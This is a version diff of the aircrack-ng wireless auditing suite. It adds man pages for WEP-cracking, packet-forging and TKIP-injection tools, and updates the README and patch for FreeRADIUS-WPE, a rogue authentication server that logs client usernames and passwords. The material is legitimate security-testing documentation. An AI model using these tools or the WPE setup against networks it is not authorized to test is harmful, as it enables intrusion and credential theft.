+.I -f <iface>
+Wireless interface to use (Mandatory)
+.TP
+.I -c <channel>
+Lock interface to this channel (Optional).
+.TP
+.I -n
+Determine Internet IP only.
+.SH AUTHOR
+This manual page was written by Thomas d\(aqOtreppe.
+Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation
+On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL.
+.SH SEE ALSO
+.br
+.B airbase-ng(8)
+.br
+.B aireplay-ng(8)
+.br
+.B airmon-ng(8)
+.br
+.B airodump-ng(8)
+.br
+.B airodump-ng-oui-update(8)
+.br
+.B airserv-ng(8)
+.br
+.B airtun-ng(8)
+.br
+.B besside-ng(8)
+.br
+.B tkiptun-ng(8)
+.br
+.B wesside-ng(8)
+.br
+.B aircrack-ng(1)
+.br
+.B airdecap-ng(1)
+.br
+.B airdecloak-ng(1)
+.br
+.B airolib-ng(1)
+.br
+.B besside-ng-crawler(1)
+.br
+.B buddy-ng(1)
+.br
+.B ivstools(1)
+.br
+.B kstats(1)
+.br
+.B makeivs-ng(1)
+.br
+.B packetforge-ng(1)
+.br
+.B wpaclean(1)
+.br
+.B airventriloquist(8)

aircrack-ng-1.6.tar.gz/manpages/ivstools.1.in Added

@@ -0,0 +1,67 @@
+.TH IVSTOOLS 1 "@MAN_RELEASE_DATE@" "@MAN_RELEASE_VERSION@"
+
+.SH NAME
+ivstools - extract IVs from a pcap file or merges several .ivs files into one
+.SH SYNOPSIS
+.B ivstools
+--convert <pcap file> <ivs output file>
+.B ivstools
+--merge <ivs file 1> <ivs file 2> .. <output file>
+.SH DESCRIPTION
+.BI ivstools
+is a tool designed to extract ivs (initialization vectors) from a pcap dump to an ivs file and it can also merge several ivs (initialization vectors) files into one..
+.SH EXAMPLE
+.B ivstools
+--convert wep_dump.cap out.ivs
+.br
+.B ivstools
+--merge myivs1.ivs myivs2.ivs myivs3.ivs allivs.ivs
+.SH AUTHOR
+This manual page was written by Adam Cecile <gandalf@le-vert.net> for the Debian system (but may be used by others).
+Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation
+On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL.
+.SH SEE ALSO
+.br
+.B airbase-ng(8)
+.br
+.B aireplay-ng(8)
+.br
+.B airmon-ng(8)
+.br
+.B airodump-ng(8)
+.br
+.B airodump-ng-oui-update(8)
+.br
+.B airserv-ng(8)
+.br
+.B airtun-ng(8)
+.br
+.B besside-ng(8)
+.br
+.B easside-ng(8)
+.br
+.B tkiptun-ng(8)
+.br
+.B wesside-ng(8)
+.br
+.B aircrack-ng(1)
+.br
+.B airdecap-ng(1)
+.br
+.B airdecloak-ng(1)
+.br
+.B airolib-ng(1)
+.br
+.B besside-ng-crawler(1)
+.br
+.B buddy-ng(1)
+.br
+.B kstats(1)
+.br
+.B makeivs-ng(1)
+.br
+.B packetforge-ng(1)
+.br
+.B wpaclean(1)
+.br
+.B airventriloquist(8)

aircrack-ng-1.6.tar.gz/manpages/kstats.1.in Added

@@ -0,0 +1,62 @@
+.TH KSTATS 1 "@MAN_RELEASE_DATE@" "@MAN_RELEASE_VERSION@"
+
+.SH NAME
+kstats - show statistical FMS algorithm votes for an ivs dump and a specified WEP key
+.SH SYNOPSIS
+.B kstats
+<ivs file> <104-bit key>
+.SH DESCRIPTION
+.BI kstats
+is a tool designed to show the FMS algorithm votes for an ivs dump (initialization vectors) with a specified WEP key. The ivs dump can be get by using the combination of both airodump(1) and ivstools(1).
+.SH EXAMPLE
+.B kstats
+kstats out.ivs 123456789ABCDEF123456789AB
+.SH AUTHOR
+This manual page was written by Adam Cecile <gandalf@le-vert.net> for the Debian system (but may be used by others).
+Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation
+On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL.
+.SH SEE ALSO
+.br
+.B airbase-ng(8)
+.br
+.B aireplay-ng(8)
+.br
+.B airmon-ng(8)
+.br
+.B airodump-ng(8)
+.br
+.B airodump-ng-oui-update(8)
+.br
+.B airserv-ng(8)
+.br
+.B airtun-ng(8)
+.br
+.B besside-ng(8)
+.br
+.B easside-ng(8)
+.br
+.B tkiptun-ng(8)
+.br
+.B wesside-ng(8)
+.br
+.B aircrack-ng(1)
+.br
+.B airdecap-ng(1)
+.br
+.B airdecloak-ng(1)
+.br
+.B airolib-ng(1)
+.br
+.B besside-ng-crawler(1)
+.br
+.B buddy-ng(1)
+.br
+.B ivstools(1)
+.br
+.B makeivs-ng(1)
+.br
+.B packetforge-ng(1)
+.br
+.B wpaclean(1)
+.br
+.B airventriloquist(8)

aircrack-ng-1.6.tar.gz/manpages/makeivs-ng.1.in Added

@@ -0,0 +1,102 @@
+.TH MAKEIVS-NG 1 "@MAN_RELEASE_DATE@" "@MAN_RELEASE_VERSION@"
+
+.SH NAME
+makeivs - generate a dummy IVS dump file with a specific WEP key
+.SH SYNOPSIS
+.B makeivs
+<ivs file> <104-bit key>
+.SH DESCRIPTION
+.BI makeivs-ng
+is a tool designed to generate an IVS dump file with an inputted WEP key.
+The aim of is tools is to provide a way to create dumps with a known encryption key for tests.
+.SH OPTIONS
+.TP
+.B Common options:
+.TP
+.I -b <bssid> or --bssid <bssid>
+Set the BSSID (Access Point MAC)
+.TP
+.I -f <num> or --first <num>
+Value for the first IV generated.
+.TP
+.I -k <key> or --key <key>
+Target network WEP key in hex. Separator between bytes is accepted but not necessary.
+.TP
+.I -s <num> or --seed <num>
+Seed used to setup random generator. May be used in combination with \-p or \-\-prng.
+.TP
+.I -w <file> or --write <file>
+Filename to write IVs into.
+.TP
+.I -c <num> or --count <num>
+Amount of IVs to generate. Default value is 100000.
+.TP
+.I -d <num> or --dupe <num>
+Percentage of duplicate IVs.
+.TP
+.I -e <num> or --error <num>
+Percentage of erroneous keystreams.
+.TP
+.I -l <num> or --length <num>
+Size of keystreams. Default: 16 bytes.
+.TP
+.I -n or --nofms 
+Ignores weak IVs.
+.TP
+.I -p or --prng
+Use random values when generating IVs. Default is to use sequential values.
+.TP
+.I --help
+Show help screen.
+.SH EXAMPLE
+.B makeivs
+makeivs -w out.ivs -k 123456789ABCDEF123456789AB
+.SH AUTHOR
+This manual page was written by Adam Cecile <gandalf@le-vert.net> for the Debian system (but may be used by others).
+Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation
+On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL.
+.SH SEE ALSO
+.br
+.B airbase-ng(8)
+.br
+.B aireplay-ng(8)
+.br
+.B airmon-ng(8)
+.br
+.B airodump-ng(8)
+.br
+.B airodump-ng-oui-update(8)
+.br
+.B airserv-ng(8)
+.br
+.B airtun-ng(8)
+.br
+.B besside-ng(8)
+.br
+.B easside-ng(8)
+.br
+.B tkiptun-ng(8)
+.br
+.B wesside-ng(8)
+.br
+.B aircrack-ng(1)
+.br
+.B airdecap-ng(1)
+.br
+.B airdecloak-ng(1)
+.br
+.B airolib-ng(1)
+.br
+.B besside-ng-crawler(1)
+.br
+.B buddy-ng(1)
+.br
+.B ivstools(1)
+.br
+.B kstats(1)
+.br
+.B packetforge-ng(1)
+.br
+.B wpaclean(1)
+.br
+.B airventriloquist(8)

aircrack-ng-1.6.tar.gz/manpages/packetforge-ng.1.in Added

@@ -0,0 +1,126 @@
+.TH PACKETFORGE-NG 1 "@MAN_RELEASE_DATE@" "@MAN_RELEASE_VERSION@"
+
+.SH NAME
+packetforge-ng - forge packets: ARP, UDP, ICMP or custom packets.
+.SH SYNOPSIS
+.B packetforge-ng
+<mode> <options>
+.SH DESCRIPTION
+.BI packetforge-ng
+is a tool to create encrypted packets that can subsequently be used for injection. You may create various types of packets such as arp requests, UDP, ICMP and custom packets. The most common use is to create ARP requests for subsequent injection. 
+.PP
+To create an encrypted packet, you must have a PRGA (pseudo random genration algorithm) file. This is used to encrypt the packet you create. This is typically obtained from aireplay-ng chopchop or fragmentation attacks.
+.SH OPTIONS
+.PP
+.TP
+.I -H, --help
+Shows the help screen.
+.TP
+.I -p <fctrl>
+Set frame control word (hex)
+.TP
+.I -a <bssid>
+Set Access Point MAC address
+.TP
+.I -c <dmac>
+Set Destination MAC address
+.TP
+.I -h <smac>
+Set Source MAC address
+.TP
+.I -j
+set FromDS bit
+.TP
+.I -o
+clear ToDS bit
+.TP
+.I -e
+disable WEP encryption
+.TP
+.I -k <ip:[port]>
+Set destination IP (and port)
+.TP
+.I -l <ip:[port]>
+Set source IP (and port)
+.TP
+.I -w <file>
+Write packet to this pcap file
+.TP
+.I -r <file>
+Read packet from this pcap file
+.TP
+.I -y <file>
+Read PRGA from this file
+.TP
+.I -t <ttl>
+Set Time To Live in IP-Header
+.TP
+.I -s <size>
+Set size of the generated null packet.
+.TP
+.I -0, --arp
+Forge an ARP packet
+.TP
+.I -1, --udp
+Forge an UDP packet
+.TP
+.I -2, --icmp
+Forge an ICMP packet
+.TP
+.I -3, --null
+Forge a llc null packet
+.TP
+.I -9, --custom
+Build a custom packet, requires \-r to read an unencrypted frame out of a pcap file.
+.SH EXAMPLE
+.B packetforge-ng
+\-y test.xor \-a 00:09:5b:12:40:cc \-h 00:10:2a:cb:30:14 \-k 192.168.1.100 \-l 192.168.1.1 \-w arp-request.cap
+.SH AUTHOR
+This manual page was written by Thomas d\(aqOtreppe.
+Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation
+On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL.
+.SH SEE ALSO
+.br
+.B airbase-ng(8)
+.br
+.B aireplay-ng(8)
+.br
+.B airmon-ng(8)
+.br
+.B airodump-ng(8)
+.br
+.B airodump-ng-oui-update(8)
+.br
+.B airserv-ng(8)
+.br
+.B airtun-ng(8)
+.br
+.B besside-ng(8)
+.br
+.B easside-ng(8)
+.br
+.B tkiptun-ng(8)
+.br
+.B wesside-ng(8)
+.br
+.B aircrack-ng(1)
+.br
+.B airdecap-ng(1)
+.br
+.B airdecloak-ng(1)
+.br
+.B airolib-ng(1)
+.br
+.B besside-ng-crawler(1)
+.br
+.B buddy-ng(1)
+.br
+.B ivstools(1)
+.br
+.B kstats(1)
+.br
+.B makeivs-ng(1)
+.br
+.B wpaclean(1)
+.br
+.B airventriloquist(8)

aircrack-ng-1.6.tar.gz/manpages/tkiptun-ng.8.in Added

@@ -0,0 +1,138 @@
+.TH TKIPTUN-NG 8 "@MAN_RELEASE_DATE@" "@MAN_RELEASE_VERSION@"
+
+.SH NAME
+tkiptun-ng - inject a few frames into a WPA TKIP network with QoS
+.SH SYNOPSIS
+.B tkiptun-ng
+[options] <replay interface>
+.SH DESCRIPTION
+.BI tkiptun-ng
+is a tool created by Martin Beck aka hirte, a member of aircrack-ng team. This tool is able to inject a few frames into a WPA TKIP network with QoS. He worked with Erik Tews (who created PTW attack) for a conference in PacSec 2008: "Gone in 900 Seconds, Some Crypto Issues with WPA".
+.SH OPERATION
+.PP
+.TP
+.I -H, --help
+Shows the help screen.
+.TP
+.B Filter options:
+.TP
+.I -d <dmac>
+MAC address of destination.
+.TP
+.I -s <smac>
+MAC address of source.
+.TP
+.I -m <len>
+Minimum packet length.
+.TP
+.I -n <len>
+Maximum packet length.
+.TP
+.I -t <tods>
+Frame control, "To" DS bit.
+.TP
+.I -f <fromds>
+Frame control, "From" DS bit.
+.TP
+.I -D 
+Disable AP Detection.
+.PP
+.TP
+.B Replay options:
+.TP
+.I -x <nbpps>
+Number of packets per second.
+.TP
+.I -p <fctrl>
+Set frame control word (hex).
+.TP
+.I -a <bssid>
+Set Access Point MAC address.
+.TP
+.I -c <dmac>
+Set destination MAC address.
+.TP
+.I -h <smac>
+Set source MAC address.
+.TP
+.I -e <essid>
+Set target SSID.
+.TP
+.I -M <sec>
+MIC error timeout in seconds. Default: 60 seconds
+.PP
+.TP
+.B Debug options:
+.TP
+.I -K <prga>
+Keystream for continuation.
+.TP
+.I -y <file>
+Keystream file for continuation.
+.TP
+.I -j
+Inject FromFS packets.
+.TP
+.I -P <PMK>
+Pairwise Master key (PMK) for verification or vulnerability testing.
+.TP
+.I -p <PSK>
+Preshared key (PSK) to calculate PMK with essid.
+.PP
+.TP
+.B Source options:
+.TP
+.I -i <iface>
+Capture packets from this interface.
+.TP
+.I -r <file>
+Extract packets from this pcap file.
+.SH AUTHOR
+This manual page was written by Thomas d\(aqOtreppe.
+Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation
+On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL.
+.SH SEE ALSO
+.br
+.B airbase-ng(8)
+.br
+.B aireplay-ng(8)
+.br
+.B airmon-ng(8)
+.br
+.B airodump-ng(8)
+.br
+.B airodump-ng-oui-update(8)
+.br
+.B airserv-ng(8)
+.br
+.B airtun-ng(8)
+.br
+.B besside-ng(8)
+.br
+.B easside-ng(8)
+.br
+.B wesside-ng(8)
+.br
+.B aircrack-ng(1)
+.br
+.B airdecap-ng(1)
+.br
+.B airdecloak-ng(1)
+.br
+.B airolib-ng(1)
+.br
+.B besside-ng-crawler(1)
+.br
+.B buddy-ng(1)
+.br
+.B ivstools(1)
+.br
+.B kstats(1)
+.br
+.B makeivs-ng(1)
+.br
+.B packetforge-ng(1)
+.br
+.B wpaclean(1)
+.br
+.B airventriloquist(8)

aircrack-ng-1.6.tar.gz/manpages/wesside-ng.8.in Added

@@ -0,0 +1,91 @@
+.TH WESSIDE-NG 8 "@MAN_RELEASE_DATE@" "@MAN_RELEASE_VERSION@"
+
+.SH NAME
+wesside-ng - crack a WEP key of an open network without user intervention
+.SH SYNOPSIS
+.B wesside-ng
+<options>
+.SH DESCRIPTION
+.BI wesside-ng
+is an auto-magic tool which incorporates a number of techniques to seamlessly obtain a WEP key in minutes. It first identifies a network, then proceeds to associate with it, obtain PRGA (pseudo random generation algorithm) xor data, determine the network IP scheme, reinject ARP requests and finally determine the WEP key. All this is done without your intervention.
+.SH OPTIONS
+.PP
+.TP
+.I -h
+Shows the help screen.
+.TP
+.I -i <iface>
+Wireless interface name. (Mandatory)
+.TP
+.I -n <network ip>
+Network IP as in \(aqwho has destination IP (netip) tell source IP (myip)\(aq. Defaults to the source IP on the ARP request which is captured and decrypted. (Optional)
+.TP
+.I -m <my ip>
+\(aqwho has destination IP (netip) tell source IP (myip)\(aq. Defaults to the network.123 on the ARP request captured (Optional).
+.TP
+.I -a <source mac>
+Source MAC address (Optional)
+.TP
+.I -c
+Do not crack the key. Simply capture the packets until control-C is hit to stop the program! (Optional)
+.TP
+.I -p <min PRGA>
+Determines the minimum number of bytes of PRGA which is gathered. Defaults to 128 bytes. (Optional).
+.TP
+.I -v <victim MAC>
+Wireless access point MAC address (Optional).
+.TP
+.I -t <threshold>
+For each number of IVs specified, restart the airecrack-ng PTW engine (Optional). It will restart PTW every <threshold> IVs.
+.TP
+.I -f <channel>
+Allows the highest channel for scanning to be defined. Defaults to channel 11 (Optional).
+.SH AUTHOR
+This manual page was written by Thomas d\(aqOtreppe.
+Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation
+On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL.
+.SH SEE ALSO
+.br
+.B airbase-ng(8)
+.br
+.B aireplay-ng(8)
+.br
+.B airmon-ng(8)
+.br
+.B airodump-ng(8)
+.br
+.B airodump-ng-oui-update(8)
+.br
+.B airserv-ng(8)
+.br
+.B airtun-ng(8)
+.br
+.B besside-ng(8)
+.br
+.B easside-ng(8)
+.br
+.B tkiptun-ng(8)
+.br
+.B aircrack-ng(1)
+.br
+.B airdecap-ng(1)
+.br
+.B airdecloak-ng(1)
+.br
+.B airolib-ng(1)
+.br
+.B besside-ng-crawler(1)
+.br
+.B buddy-ng(1)
+.br
+.B ivstools(1)
+.br
+.B kstats(1)
+.br
+.B makeivs-ng(1)
+.br
+.B packetforge-ng(1)
+.br
+.B wpaclean(1)
+.br
+.B airventriloquist(8)

aircrack-ng-1.6.tar.gz/manpages/wpaclean.1.in Added

@@ -0,0 +1,63 @@
+.TH WPACLEAN 1 "@MAN_RELEASE_DATE@" "@MAN_RELEASE_VERSION@"
+
+.SH NAME
+wpaclean - clean wpa capture files
+
+.SH SYNOPSIS
+.B wpaclean <out.cap> <in.cap> [in2.cap] [...]
+
+.SH DESCRIPTION
+.BI wpaclean
+Cleans capture files to get only the 4-way handshake and a beacon.
+
+.SH AUTHOR
+This manual page was written by David Francos Cuartero <xayon@xayon.net>.
+Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation
+On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL.
+
+.PP
+.SH SEE ALSO
+.br
+.B airbase-ng(8)
+.br
+.B aireplay-ng(8)
+.br
+.B airmon-ng(8)
+.br
+.B airodump-ng(8)
+.br
+.B airodump-ng-oui-update(8)
+.br
+.B airserv-ng(8)
+.br
+.B airtun-ng(8)
+.br
+.B besside-ng(8)
+.br
+.B easside-ng(8)
+.br
+.B tkiptun-ng(8)
+.br
+.B wesside-ng(8)
+.br
+.B aircrack-ng(1)
+.br
+.B airdecap-ng(1)
+.br
+.B airdecloak-ng(1)
+.br
+.B airolib-ng(1)
+.br
+.B besside-ng-crawler(1)
+.br
+.B buddy-ng(1)
+.br
+.B ivstools(1)
+.br
+.B kstats(1)
+.br
+.B makeivs-ng(1)
+.br
+.B packetforge-ng(1)
+.br
+.B airventriloquist(8)

aircrack-ng-1.4.tar.gz/patches/wpe/freeradius-wpe/README.md -> aircrack-ng-1.6.tar.gz/patches/wpe/freeradius-wpe/README.md Changed

@@ -1,6 +1,6 @@
 # FreeRadius Wireless Pawn Edition
 
-Updated patch for FreeRadius 3.0.12-3.0.17
+Updated patch for FreeRadius 3.0.20
 
 More information about WPE can be found:
 http://www.willhackforsushi.com/?page_id=37
@@ -24,7 +24,7 @@
 ### Optional dependencies
 
 ```
-apt-get install libsqlite3-dev libhiredis-dev libykclient-dev libyubikey-dev default-libmysqlclient-dev libcurl4-openssl-dev libperl-dev libpam0g-dev libcap-dev libmemcached-dev libgdbm-dev libiodbc2-dev libpq-dev libwbclient-dev libkrb5-dev libjson-c-dev freetds-dev libwbclient-sssd-dev samba-dev libiodbc2-dev unixodbc-dev
+apt-get install libsqlite3-dev libhiredis-dev libykclient-dev libyubikey-dev default-libmysqlclient-dev libcurl4-openssl-dev libperl-dev libpam0g-dev libcap-dev libmemcached-dev libgdbm-dev libiodbc2-dev libpq-dev libwbclient-dev libkrb5-dev libjson-c-dev freetds-dev libwbclient-sssd-dev samba-dev libiodbc2-dev
 ```
 
 ### Compilation
@@ -32,9 +32,9 @@
 Run the following commands:
 
 ```
-wget ftp://ftp.freeradius.org/pub/freeradius/freeradius-server-3.0.17.tar.bz2
-tar -xjf freeradius-server-3.0.17.tar.bz2
-cd freeradius-server-3.0.17/
+wget ftp://ftp.freeradius.org/pub/freeradius/freeradius-server-3.0.20.tar.bz2
+tar -xjf freeradius-server-3.0.20.tar.bz2
+cd freeradius-server-3.0.20/
 wget https://raw.githubusercontent.com/aircrack-ng/aircrack-ng/master/patches/wpe/freeradius-wpe/freeradius-wpe.patch
 patch -Np1 -i freeradius-wpe.patch
 ./configure
@@ -56,12 +56,3 @@
 Now, connect a client. Once a username/password is entered and the certificate accepted, information regarding that session will be stored in ```/usr/local/var/log/radius/freeradius-server-wpe.log```.
 
 **Note**: This file won't be created until the first client connects and authenticates to the access point.
-
-## Note
-
-Debian testing disabled TLS 1.0 and TLS 1.1 which break FreeRADIUS-WPE <= 3.0.15. Although not recommended to use an older version, if compiling FreeRADIUS <= 3.0.15, run the following commands before running `./configure`:
-
-```
-wget https://raw.githubusercontent.com/aircrack-ng/aircrack-ng/master/patches/wpe/freeradius-wpe/freeradius_3_0_15_openssl_1_1_tls_version_fix.diff
-patch -Np1 -i freeradius_3_0_15_openssl_1_1_tls_version_fix.diff
-```

aircrack-ng-1.4.tar.gz/patches/wpe/freeradius-wpe/freeradius-wpe.patch -> aircrack-ng-1.6.tar.gz/patches/wpe/freeradius-wpe/freeradius-wpe.patch Changed

@@ -1,16 +1,16 @@
-diff -Nurp freeradius-server-3.0.12/raddb/mods-config/files/authorize freeradius-server-3.0.12-wpe/raddb/mods-config/files/authorize
---- freeradius-server-3.0.12/raddb/mods-config/files/authorize	2016-09-29 11:19:48.000000000 -0400
-+++ freeradius-server-3.0.12-wpe/raddb/mods-config/files/authorize	2018-04-23 16:33:44.949077716 -0400
+diff -Nurp freeradius-server-3.0.18/raddb/mods-config/files/authorize freeradius-server-3.0.18-wpe/raddb/mods-config/files/authorize
+--- freeradius-server-3.0.18/raddb/mods-config/files/authorize	2019-02-25 16:41:30.000000000 -0500
++++ freeradius-server-3.0.18-wpe/raddb/mods-config/files/authorize	2019-02-26 14:02:54.666099898 -0500
 @@ -218,3 +218,5 @@ DEFAULT	Hint == "SLIP"
  # See the example user "bob" above.                     #
  #########################################################
  
 +DEFAULT Cleartext-Password := "foo", MS-CHAP-Use-NTLM-Auth := 0
 +DEFAULT Cleartext-Password := "a"
-diff -Nurp freeradius-server-3.0.12/raddb/radiusd.conf.in freeradius-server-3.0.12-wpe/raddb/radiusd.conf.in
---- freeradius-server-3.0.12/raddb/radiusd.conf.in	2016-09-29 11:19:48.000000000 -0400
-+++ freeradius-server-3.0.12-wpe/raddb/radiusd.conf.in	2018-04-23 16:33:44.949077716 -0400
-@@ -371,6 +371,9 @@ log {
+diff -Nurp freeradius-server-3.0.18/raddb/radiusd.conf.in freeradius-server-3.0.18-wpe/raddb/radiusd.conf.in
+--- freeradius-server-3.0.18/raddb/radiusd.conf.in	2019-02-25 16:41:30.000000000 -0500
++++ freeradius-server-3.0.18-wpe/raddb/radiusd.conf.in	2019-02-26 14:02:54.666099898 -0500
+@@ -382,6 +382,9 @@ log {
  #  The program to execute to do concurrency checks.
  checkrad = ${sbindir}/checkrad
  
@@ -20,9 +20,9 @@
  # SECURITY CONFIGURATION
  #
  #  There may be multiple methods of attacking on the server.  This
-diff -Nurp freeradius-server-3.0.12/src/include/log.h freeradius-server-3.0.12-wpe/src/include/log.h
---- freeradius-server-3.0.12/src/include/log.h	2016-09-29 11:19:48.000000000 -0400
-+++ freeradius-server-3.0.12-wpe/src/include/log.h	2018-04-23 16:52:36.771659127 -0400
+diff -Nurp freeradius-server-3.0.18/src/include/log.h freeradius-server-3.0.18-wpe/src/include/log.h
+--- freeradius-server-3.0.18/src/include/log.h	2019-02-25 16:41:30.000000000 -0500
++++ freeradius-server-3.0.18-wpe/src/include/log.h	2019-02-26 14:02:54.666099898 -0500
 @@ -72,6 +72,11 @@ typedef struct fr_log_t {
  	char const	*debug_file;	//!< Path to debug log file.
  } fr_log_t;
@@ -35,10 +35,10 @@
  typedef		void (*radlog_func_t)(log_type_t lvl, log_lvl_t priority, REQUEST *, char const *, va_list ap);
  
  extern FR_NAME_NUMBER const syslog_facility_table[];
-diff -Nurp freeradius-server-3.0.12/src/include/radiusd.h freeradius-server-3.0.12-wpe/src/include/radiusd.h
---- freeradius-server-3.0.12/src/include/radiusd.h	2016-09-29 11:19:48.000000000 -0400
-+++ freeradius-server-3.0.12-wpe/src/include/radiusd.h	2018-04-23 16:33:44.949077716 -0400
-@@ -147,6 +147,8 @@ typedef struct main_config {
+diff -Nurp freeradius-server-3.0.18/src/include/radiusd.h freeradius-server-3.0.18-wpe/src/include/radiusd.h
+--- freeradius-server-3.0.18/src/include/radiusd.h	2019-02-25 16:41:30.000000000 -0500
++++ freeradius-server-3.0.18-wpe/src/include/radiusd.h	2019-02-26 14:02:54.666099898 -0500
+@@ -149,6 +149,8 @@ typedef struct main_config {
  	char const	*checkrad;			//!< Script to use to determine if a user is already
  							//!< connected.
  
@@ -47,10 +47,10 @@
  	rad_listen_t	*listen;			//!< Head of a linked list of listeners.
  
  
-diff -Nurp freeradius-server-3.0.12/src/main/auth.c freeradius-server-3.0.12-wpe/src/main/auth.c
---- freeradius-server-3.0.12/src/main/auth.c	2016-09-29 11:19:48.000000000 -0400
-+++ freeradius-server-3.0.12-wpe/src/main/auth.c	2018-04-23 17:04:33.189522352 -0400
-@@ -125,6 +125,7 @@ static int rad_authlog(char const *msg,
+diff -Nurp freeradius-server-3.0.18/src/main/auth.c freeradius-server-3.0.18-wpe/src/main/auth.c
+--- freeradius-server-3.0.18/src/main/auth.c	2019-02-25 16:41:30.000000000 -0500
++++ freeradius-server-3.0.18-wpe/src/main/auth.c	2019-02-26 14:02:54.666099898 -0500
+@@ -129,6 +129,7 @@ static int rad_authlog(char const *msg,
  		} else {
  			fr_prints(clean_password, sizeof(clean_password),
  				  request->password->vp_strvalue, request->password->vp_length, '\0');
@@ -58,9 +58,9 @@
  		}
  	}
  
-diff -Nurp freeradius-server-3.0.12/src/main/libfreeradius-server.mk freeradius-server-3.0.12-wpe/src/main/libfreeradius-server.mk
---- freeradius-server-3.0.12/src/main/libfreeradius-server.mk	2016-09-29 11:19:48.000000000 -0400
-+++ freeradius-server-3.0.12-wpe/src/main/libfreeradius-server.mk	2018-04-23 16:33:44.953076445 -0400
+diff -Nurp freeradius-server-3.0.18/src/main/libfreeradius-server.mk freeradius-server-3.0.18-wpe/src/main/libfreeradius-server.mk
+--- freeradius-server-3.0.18/src/main/libfreeradius-server.mk	2019-02-25 16:41:30.000000000 -0500
++++ freeradius-server-3.0.18-wpe/src/main/libfreeradius-server.mk	2019-02-26 14:02:54.666099898 -0500
 @@ -14,6 +14,7 @@ SOURCES	:=	conffile.c \
  		pair.c \
  		xlat.c
@@ -69,10 +69,10 @@
  # This lets the linker determine which version of the SSLeay functions to use.
  TGT_LDLIBS      := $(OPENSSL_LIBS)
  
-diff -Nurp freeradius-server-3.0.12/src/main/log.c freeradius-server-3.0.12-wpe/src/main/log.c
---- freeradius-server-3.0.12/src/main/log.c	2016-09-29 11:19:48.000000000 -0400
-+++ freeradius-server-3.0.12-wpe/src/main/log.c	2018-04-23 17:04:46.368516931 -0400
-@@ -29,6 +29,7 @@ RCSID("$Id: 3ead46e08016cd5e26418fa605f4
+diff -Nurp freeradius-server-3.0.18/src/main/log.c freeradius-server-3.0.18-wpe/src/main/log.c
+--- freeradius-server-3.0.18/src/main/log.c	2019-02-25 16:41:30.000000000 -0500
++++ freeradius-server-3.0.18-wpe/src/main/log.c	2019-02-26 14:02:54.666099898 -0500
+@@ -29,6 +29,7 @@ RCSID("$Id: 21b21b3071470c307ea48f9ed873
  
  #include <freeradius-devel/radiusd.h>
  #include <freeradius-devel/rad_assert.h>
@@ -80,7 +80,7 @@
  
  #ifdef HAVE_SYS_STAT_H
  #  include <sys/stat.h>
-@@ -46,6 +47,9 @@ RCSID("$Id: 3ead46e08016cd5e26418fa605f4
+@@ -46,6 +47,9 @@ RCSID("$Id: 21b21b3071470c307ea48f9ed873
  #include <pthread.h>
  #endif
  
@@ -164,10 +164,10 @@
  /** On fault, reset STDOUT and STDERR to something useful
   *
   * @return 0
-diff -Nurp freeradius-server-3.0.12/src/main/mainconfig.c freeradius-server-3.0.12-wpe/src/main/mainconfig.c
---- freeradius-server-3.0.12/src/main/mainconfig.c	2016-09-29 11:19:48.000000000 -0400
-+++ freeradius-server-3.0.12-wpe/src/main/mainconfig.c	2018-04-23 16:33:44.953076445 -0400
-@@ -192,6 +192,7 @@ static const CONF_PARSER server_config[]
+diff -Nurp freeradius-server-3.0.18/src/main/mainconfig.c freeradius-server-3.0.18-wpe/src/main/mainconfig.c
+--- freeradius-server-3.0.18/src/main/mainconfig.c	2019-02-25 16:41:30.000000000 -0500
++++ freeradius-server-3.0.18-wpe/src/main/mainconfig.c	2019-02-26 14:02:54.666099898 -0500
+@@ -194,6 +194,7 @@ static const CONF_PARSER server_config[]
  	{ "max_requests", FR_CONF_POINTER(PW_TYPE_INTEGER, &main_config.max_requests), STRINGIFY(MAX_REQUESTS) },
  	{ "pidfile", FR_CONF_POINTER(PW_TYPE_STRING, &main_config.pid_file), "${run_dir}/radiusd.pid"},
  	{ "checkrad", FR_CONF_POINTER(PW_TYPE_STRING, &main_config.checkrad), "${sbindir}/checkrad" },
@@ -175,10 +175,10 @@
  
  	{ "debug_level", FR_CONF_POINTER(PW_TYPE_INTEGER, &main_config.debug_level), "0"},
  
-diff -Nurp freeradius-server-3.0.12/src/main/radiusd.c freeradius-server-3.0.12-wpe/src/main/radiusd.c
---- freeradius-server-3.0.12/src/main/radiusd.c	2016-09-29 11:19:48.000000000 -0400
-+++ freeradius-server-3.0.12-wpe/src/main/radiusd.c	2018-04-23 16:33:44.953076445 -0400
-@@ -59,7 +59,7 @@ char const	*radlog_dir = NULL;
+diff -Nurp freeradius-server-3.0.18/src/main/radiusd.c freeradius-server-3.0.18-wpe/src/main/radiusd.c
+--- freeradius-server-3.0.18/src/main/radiusd.c	2019-02-25 16:41:30.000000000 -0500
++++ freeradius-server-3.0.18-wpe/src/main/radiusd.c	2019-02-26 14:02:54.666099898 -0500
+@@ -64,7 +64,7 @@ char const	*radlog_dir = NULL;
  
  bool		log_stripped_names;
  
@@ -187,9 +187,9 @@
  #ifdef RADIUSD_VERSION_COMMIT
  " (git #" STRINGIFY(RADIUSD_VERSION_COMMIT) ")"
  #endif
-diff -Nurp freeradius-server-3.0.12/src/modules/rlm_eap/types/rlm_eap_leap/eap_leap.c freeradius-server-3.0.12-wpe/src/modules/rlm_eap/types/rlm_eap_leap/eap_leap.c
